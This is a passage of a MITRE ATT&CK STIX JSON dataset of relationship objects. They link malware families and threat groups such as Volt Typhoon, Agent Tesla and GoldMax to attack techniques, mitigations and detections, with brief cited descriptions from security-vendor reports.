explorer.exe","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f8d5603-0876-41dd-9fdb-ca9dc0ad6253","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2018-10-17T00:14:20.652Z","description":"[WINERACK](https://attack.mitre.org/software/S0219) can gather information on the victim username.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--49abab73-3c5c-476e-afd5-69b5c732d845","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2f96597c-70d9-41ba-b019-fb7510d3d732","created":"2020-05-18T21:01:51.367Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET LoudMiner June 2019","description":"Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020.","url":"https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T01:36:58.163Z","description":"[LoudMiner](https://attack.mitre.org/software/S0451) has encrypted DMG files.(Citation: ESET LoudMiner June 2019)\t","relationship_type":"uses","source_ref":"malware--f99f3dcc-683f-4936-8791-075ac5e58f10","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f973098-ef83-43a5-9813-a5aef8ff48dc","type":"relationship","created":"2020-08-10T13:59:38.625Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-08-10T13:59:38.625Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2f9e7f23-979c-4d7f-a19c-907dc94504aa","created":"2023-07-31T19:51:28.592Z","revoked":false,"external_references":[{"source_name":"Microsoft Volt Typhoon May 2023","description":"Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-31T19:51:28.592Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has staged collected data in password-protected archives.(Citation: Microsoft Volt Typhoon May 2023)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2fa01aae-a201-4daa-b0e0-2e22af5788bb","created":"2023-09-12T19:10:14.045Z","revoked":false,"external_references":[{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T19:10:14.045Z","description":"[TA2541](https://attack.mitre.org/groups/G1018) has collected system information prior to downloading malware on the targeted host.(Citation: Proofpoint TA2541 February 2022)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2fa20fad-4ede-42f4-8ce5-7f5a6ce83ed8","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/","description":"Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.","source_name":"Crowdstrike DNC June 2016"},{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","source_name":"ESET Sednit Part 2"}],"modified":"2019-05-14T17:10:21.946Z","description":"[CHOPSTICK](https://attack.mitre.org/software/S0023) is capable of performing remote command execution.(Citation: Crowdstrike DNC June 2016)(Citation: ESET Sednit Part 2)","relationship_type":"uses","source_ref":"malware--ccd61dfc-b03f-4689-8c18-7c97eab08472","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2fa47765-a47e-430b-9a88-68db5795f557","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2020-03-20T21:14:12.097Z","description":"[KARAE](https://attack.mitre.org/software/S0215) can upload and download files, including second-stage malware.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2fadf189-bdcf-44b8-933a-ca6188485058","created":"2022-01-12T14:32:08.165Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Winnti April 2015","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.","url":"https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:02:53.990Z","description":"The [Winnti for Windows](https://attack.mitre.org/software/S0141) HTTP/S C2 mode can make use of an external proxy.(Citation: Novetta Winnti April 2015)","relationship_type":"uses","source_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2fb18a45-8ba0-401d-9ee6-18099b4c2c39","type":"relationship","created":"2021-02-22T14:20:31.751Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-02-22T14:20:31.751Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961","target_ref":"attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2fb2a011-a35a-403a-a86b-d5489b1fa5c6","created":"2022-06-09T14:49:40.969Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET DazzleSpy Jan 2022","description":"M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022.","url":"https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/"},{"source_name":"Objective-See MacMa Nov 2021","description":"Wardle, P. (2021, November 11). OSX.CDDS (OSX.MacMa). Retrieved June 30, 2022.","url":"https://objective-see.org/blog/blog_0x69.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T21:35:31.145Z","description":"[MacMa](https://attack.mitre.org/software/S1016) has used Apple’s Core Graphic APIs, such as `CGWindowListCreateImageFromArray`, to capture the user's screen and open windows.(Citation: ESET DazzleSpy Jan 2022)(Citation: Objective-See MacMa Nov 2021)","relationship_type":"uses","source_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2fb450c6-e236-4b81-b5ac-a9d4be0cf167","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gazer Aug 2017","description":"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"},{"source_name":"Securelist WhiteBear Aug 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.","url":"https://securelist.com/introducing-whitebear/81638/"}],"modified":"2020-03-17T01:22:43.612Z","description":"[Gazer](https://attack.mitre.org/software/S0168) can establish persistence by creating a .lnk file in the Start menu.(Citation: ESET Gazer Aug 2017)(Citation: Securelist WhiteBear Aug 2017)","relationship_type":"uses","source_ref":"malware--76abb3ef-dafd-4762-97cb-a35379429db4","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2fb84998-3f4a-4ce8-9709-daa95d18186a","type":"relationship","created":"2020-02-25T17:17:48.383Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://adsecurity.org/?p=3299","description":"Metcalf, S. (2016, October 21). Securing Windows Workstations: Developing a Secure Baseline. Retrieved November 17, 2017.","source_name":"ADSecurity Windows Secure Baseline"}],"modified":"2021-09-28T13:09:51.259Z","description":"Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2fbbc518-3feb-4613-9981-297d928c483f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT10 Sept 2018","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"}],"modified":"2020-03-18T15:44:30.788Z","description":"[UPPERCUT](https://attack.mitre.org/software/S0275) uses cmd.exe to execute commands on the victim’s machine.(Citation: FireEye APT10 Sept 2018)","relationship_type":"uses","source_ref":"malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2fc3c031-8a39-4bc9-b3e1-4c5f6ac1e292","type":"relationship","created":"2020-04-30T16:48:25.687Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Chronicle Winnti for Linux May 2019","url":"https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a","description":"Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020."}],"modified":"2020-05-04T14:24:55.171Z","description":"[Winnti for Linux](https://attack.mitre.org/software/S0430) has used HTTP in outbound communications.(Citation: Chronicle Winnti for Linux May 2019)","relationship_type":"uses","source_ref":"malware--8787e86d-8475-4f13-acea-d33eb83b6105","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2fc6e8dc-5117-41ea-9b5f-154cff612f6f","type":"relationship","created":"2021-01-13T21:05:37.504Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-01-13T21:05:37.504Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) has used stolen certificates to sign its tools including those from Whizzimo LLC.(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2fc8879c-1763-4ed0-b1d8-67b4c3d49ed9","type":"relationship","created":"2019-01-29T18:44:04.968Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DigiTrust Agent Tesla Jan 2017","url":"https://www.digitrustgroup.com/agent-tesla-keylogger/","description":"The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018."},{"source_name":"SentinelLabs Agent Tesla Aug 2020","url":"https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/","description":"Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."}],"modified":"2020-12-17T16:56:47.428Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) can collect the IP address of the victim machine and spawn instances of netsh.exe to enumerate wireless settings.(Citation: DigiTrust Agent Tesla Jan 2017)(Citation: SentinelLabs Agent Tesla Aug 2020) ","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2fcc26f7-9da6-4155-af96-b826e2dfe085","created":"2022-04-07T22:37:35.143Z","x_mitre_version":"0.1","external_references":[{"source_name":"TrendMicro Confucius APT Feb 2018","url":"https://www.trendmicro.com/en_us/research/18/b/deciphering-confucius-cyberespionage-operations.html","description":"Lunghi, D and Horejsi, J. (2018, February 13). Deciphering Confucius: A Look at the Group's Cyberespionage Operations. Retrieved December 26, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Confucius](https://attack.mitre.org/groups/G0142) has exfiltrated victim data to cloud storage service accounts.(Citation: TrendMicro Confucius APT Feb 2018)","modified":"2022-04-07T22:37:35.143Z","relationship_type":"uses","source_ref":"intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2fd0b80f-d053-4679-a350-1bb45b32ab49","type":"relationship","created":"2020-05-13T19:39:41.717Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky MoleRATs April 2019","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/","description":"GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."},{"source_name":"Unit42 Molerat Mar 2020","url":"https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/","description":"Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."}],"modified":"2020-12-15T00:13:05.723Z","description":"[Molerats](https://attack.mitre.org/groups/G0021) used executables to download malicious files from different sources.(Citation: Kaspersky MoleRATs April 2019)(Citation: Unit42 Molerat Mar 2020) ","relationship_type":"uses","source_ref":"intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2fd0ebb0-6086-441d-b83c-e73e3f8ed69a","created":"2024-09-18T18:36:07.225Z","revoked":false,"external_references":[{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T18:36:07.225Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) can discover the username of an infected host.(Citation: Elastic Latrodectus May 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2fd6ac0b-f091-4cd0-a6ad-6b476e980fad","type":"relationship","created":"2021-10-01T19:11:46.022Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SMOKEDHAM June 2021","url":"https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html","description":"FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021."}],"modified":"2021-10-14T20:12:16.768Z","description":"[SMOKEDHAM](https://attack.mitre.org/software/S0649) has modified the Registry to hide created user accounts from the Windows logon screen. (Citation: FireEye SMOKEDHAM June 2021)","relationship_type":"uses","source_ref":"malware--7e0f8b0f-716e-494d-827e-310bd6ed709e","target_ref":"attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2fdc9078-0737-4b2c-bb6c-f046b63c368b","type":"relationship","created":"2020-11-19T17:01:57.288Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."}],"modified":"2020-11-19T17:01:57.288Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can identify the installed antivirus engine.(Citation: Cybereason Bazar July 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2fe54d3f-0ac2-4579-8e78-81dc11b6386e","created":"2022-08-07T15:38:42.598Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AuTo Stealer](https://attack.mitre.org/software/S1029) can use TCP to communicate with command and control servers.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-15T20:28:15.281Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--3e4e2c79-2b27-4245-a5c1-5586a3cbd8f5","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2fe9c7cf-44aa-495b-bde6-80cbfc4fbed9","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Regin","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"}],"modified":"2020-06-29T01:54:53.453Z","description":"The [Regin](https://attack.mitre.org/software/S0019) malware platform supports many standard protocols, including HTTP and HTTPS.(Citation: Kaspersky Regin)","relationship_type":"uses","source_ref":"malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2fededb7-e713-495c-a317-919c037434a8","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SecureList SynAck Doppelgänging May 2018","description":"Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018.","url":"https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/"}],"modified":"2021-09-08T19:22:44.752Z","description":"[SynAck](https://attack.mitre.org/software/S0242) gathers user names from infected hosts.(Citation: SecureList SynAck Doppelgänging May 2018)","relationship_type":"uses","source_ref":"malware--04227b24-7817-4de1-9050-b7b1b57f5866","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2ff304c1-9b4d-4f01-927d-53a1c339f7ab","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Turla Mosquito Jan 2018","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"}],"modified":"2020-03-20T01:55:35.182Z","description":"[Mosquito](https://attack.mitre.org/software/S0256) deletes files using DeleteFileW API call.(Citation: ESET Turla Mosquito Jan 2018)","relationship_type":"uses","source_ref":"malware--92b55426-109f-4d93-899f-1833ce91ff90","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2ff57c5f-523f-41f0-a6d4-676b939b561a","created":"2024-02-22T22:20:10.541Z","revoked":false,"external_references":[{"source_name":"Rostovcev APT41 2021","description":"Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.","url":"https://www.group-ib.com/blog/apt41-world-tour-2021/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-22T22:20:10.541Z","description":"[APT41](https://attack.mitre.org/groups/G0096) uses packers such as Themida to obfuscate malicious files.(Citation: Rostovcev APT41 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2ff84270-830f-4de8-b93c-4ee3a9a46781","type":"relationship","created":"2021-03-12T16:55:09.340Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."},{"source_name":"FireEye SUNSHUTTLE Mar 2021","url":"https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html","description":"Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021."}],"modified":"2021-03-16T16:27:36.037Z","description":"[GoldMax](https://attack.mitre.org/software/S0588) can check the current date-time value of the compromised system, comparing it to the hardcoded execution trigger and can send the current timestamp to the C2 